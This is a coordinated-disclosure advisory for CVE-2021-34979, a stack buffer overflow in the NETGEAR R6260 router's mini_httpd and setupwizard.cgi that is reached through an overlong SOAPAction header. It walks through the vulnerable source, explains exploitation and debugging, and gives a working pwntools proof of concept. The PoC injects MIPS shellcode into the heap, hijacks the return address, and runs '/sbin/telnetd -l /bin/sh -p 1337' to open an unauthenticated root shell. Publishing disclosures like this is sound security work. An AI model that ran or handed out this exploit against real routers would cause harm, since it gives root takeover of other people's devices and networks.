CVE: CVE-2021-34979

Tested Versions:

  • NETGEAR R6260 V1.1.0.78_1.0.1

Product URL(s):

Description of the vulnerability

This vulnerability allows for an attacker with LAN access to a NETGEAR R6260 router to execute arbitrary code. This was tested on the latest firmware available for the router, V1.1.0.78_1.0.1 at the point of writing.

A buffer overflow in mini_httpd.c:1768 allows for unexpectedly long environment variables to be passed to the setupwizard.cgi executable. When setupwizard.cgi is executed via a specially crafted HTTP SOAP request, an unbounded strcat() in the check_soap_login_record() function allows for instruction pointer control when the environment variable SOAP_LOGIN_TOKEN is sufficiently long. An attacker can use this to execute arbitrary code as root.

The webservice running in the R6260 device is mini_httpd. It is an opensource project. The source code can be download from the Netgear webside : “https://www.downloads.netgear.com/files/GPL/R6260_R6350_R6850_R6330_V1.1.0.76_1.0.1_gpl.tgz". After extracting the tgz file, the mini_httpd source code is in the folder “R6260_V1.1.0.76_src/sc_trunk/user_space/apps/public/mini_httpd/mini_httpd-1.24/mini_httpd.c”

The handle_request (mini_httpd.c:1558) function is invoked to handle incoming HTTP request. In this function, HTTP headers are handled, specifically the SOAPAction header is parsed as follow: mini_httpd.c:1756

        else if (strncasecmp(line, "SOAPAction:", 11) == 0)
        {
            char *pTemp = NULL;
            cp = &line[11];
            cp += strspn(cp, " \t");
            pTemp = strcasestr(cp, "urn:NETGEAR-ROUTER:service:");
            if (pTemp != NULL)
            {
                int i = 0;
                pTemp += strlen("urn:NETGEAR-ROUTER:service:");
                while (*pTemp != ':' && *pTemp != '\0')
                {
                    soapServiceName[i++] = *pTemp;              // <-- Out-Of-Bounds Write
                    pTemp++;
                }
                if((pTemp=strstr(pTemp,"#")) != NULL)
                {
                    if ( *(pTemp+1) != '\0')
                    {
                        snprintf(soapActionName,sizeof(soapActionName),"%s",pTemp+1);
                    }
                }
                soapServiceName[i] = '\0';
                for_setupwizard = 1;
            }
        }

The SOAP service name is stored one by one byte in a global array soapServiceName. But there is no bounds check when increase the value of variable i, it leads to write past end of soapServiceName buffer.

The soapServiceName is declared as follow: mini_httpd:437

static char soapServiceName[128] = "";
static char soapActionName[128] = "";
static char soap_token[17] = "";

Since we can write past end of soapServiceName buffer, we can overwrite the data in soap_token array by a long string.

In next step, when the cgi binary is executed, mutiple environment variables are create to pass data to the cgi process. It is done by the make_envp function (mini_httpd:3349). The soap_token is passed to the cgi process as well: mini_httpd:3389

    if (soap_token[0] != '\0')
        envp[envn++] = build_env("SOAP_LOGIN_TOKEN=%s", soap_token);

Summary, we can pass a long SOAP token into cgi process.

The cgi binary is setupwizard.cgi. When the HTTP request is handled by this binary, the function check_soap_login_record is invoked to check if user is auth or not.

bool check_soap_login_record()
{
    v0 = getenv("REMOTE_ADDR");
    v1 = getenv("SOAP_LOGIN_TOKEN");
    TRACE("soap token %s\n", v1);
    v22[0] = 0;
    v22[1] = 0;
    v22[2] = 0;
    v22[3] = 0;
    v23 = 0;
    memset(v24, 0, sizeof(v24));
    v25[0] = 0;
    v25[1] = 0;
    v25[2] = 0;
    v25[3] = 0;
    v25[4] = 0;
    v25[5] = 0;
    v25[6] = 0;
    v25[7] = 0;
    v25[8] = 0;
    v2 = fopen("/dev/console", "a+");
    if ( v2 )
    {
    fprintf(v2, "[%s::%s():%d] ", "soap_login.c", "check_soap_login_record", 670);
    fprintf(v2, "start check soap login record! token (%s)\n", v1);
    fclose(v2);
    }
    v3 = get_mac_from_ip(v0, v22);
    v4 = 1;
    if ( !v3 )
    {
    strcat((char *)v25, (const char *)v22);
    v5 = (char *)v25 + strlen((const char *)v25);
    *v5 = 44;
    v5[1] = 0;
    strcat((char *)v25, v1);
    
    ...

(The above code snippet is generated by id, corresponding to assembly code from address 0x004261EC)

The v1 pointer points to buffer store “SOAP_LOGIN_TOKEN” environment variable. As explain above, this environment variable can be aribitrary size.

Then, when strcat function is invoked to concatenate 2 buffer v25 and v1, the stack buffer overflow can be occurred.

Exploitation

Notice that the heap segment of setupwizard process is executable and its loaded address is constant. Therefore in my exploit, I store shellcode in heap memory (in “encoding” attribute of xml tag) and jump to it by overwriting the save return address in stack.

The heap chunk to store the shellcode is allocated in the function sub_40764C.

Debugging

The setupwizard.cgi process can be debug using gdbserver (https://raw.githubusercontent.com/rapid7/embedded-tools/master/binaries/gdbserver/gdbserver.mipsle) The step to debug the setupwizard.cgi is as follow:

  • Edit the exploit code a bit, put a pause() command before send soap data, as follow:
sl(b'Content-Type: application/x-www-form-urlencoded')
sl(b'')
pause()
sl(soap_data)
  • In the router, you can see there is a setupwizard.cgi running, then run gdbserver to attach to setupwizard.cgi process

  • Run gdb-multiarch to connect to remote gdbserver, and now you can debug the setupwizard.cgi process.

Proof-of-Concept

from pwn import *
context.arch = 'mips'
context.endian = 'little'
#context.log_level = 'debug'
def send_SOAP(service: bytes, soap_data: bytes) -> bytes:
    # Note that requests.post will not work here, because malformed HTTP headers will raise errors
    r = remote('routerlogin.net', 80)
    def sl(s:bytes): r.send(s+b'\r\n')
    sl(b'POST / HTTP/1.1')
    sl(b'Host: routerlogin.net')
    sl(b'Accept: */*')
    sl(b'User-Agent: pwnt')
    sl(b'SOAPAction:\t⚱NETGEAR-ROUTER:service:' + service + b':')
    sl(b'Content-Length: ' + str(len(soap_data)).encode())
    sl(b'Content-Type: application/x-www-form-urlencoded')
    sl(b'')
    pause()
    sl(soap_data)
    return r.recvall(timeout=60)

def run_shell_cmd(cmd: str):
    pad = 0x80*2 + 4*2 + 0x200
    RIP = 0x791036+2 # this is the location of the encoding="AA...." string in the heap. The heap location is not randomised by ASLR.
    soap_data = b"\n" * 0x10 + b"""<?xml version='1.0' encoding="AA%s"?>
    <SOAP-ENV:Envelope SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/" xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/" xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/">
    <SOAP-ENV:Body>
    <help:ignore abcdef='abcdef'>aaa</help:ignore>
    </SOAP-ENV:Body>
    </SOAP-ENV:Envelope>"""
    shellcode = shellcraft.pushstr(cmd)
    shellcode+= shellcraft.mov('$a0', '$sp')
    shellcode+= '\t\tlw\t$t9,-31360($gp)\n' # this is the location of system()
    shellcode+= shellcraft.mov('$a0', '$sp')# These repeats are just NOPs
    shellcode+= '\t\tjalr $t9\n'
    shellcode+= shellcraft.mov('$a0', '$sp')
    soap_data = soap_data % asm(shellcode, vma=RIP)
    print(send_SOAP(pad*b'A' + b'a'*cyclic_find(b'aaia') + pack(RIP)[:3], soap_data))

run_shell_cmd('/sbin/telnetd -l /bin/sh -p 1337')
# This will enable a no-authentication telnet shell at routerlogin.net:1337.

Timeline:

  • 2021-03-22 - Reported via ZDI
  • 2021-06-16 - Vulnerability reported to vendor
  • 2021-10-28 - Coordinated public release of advisory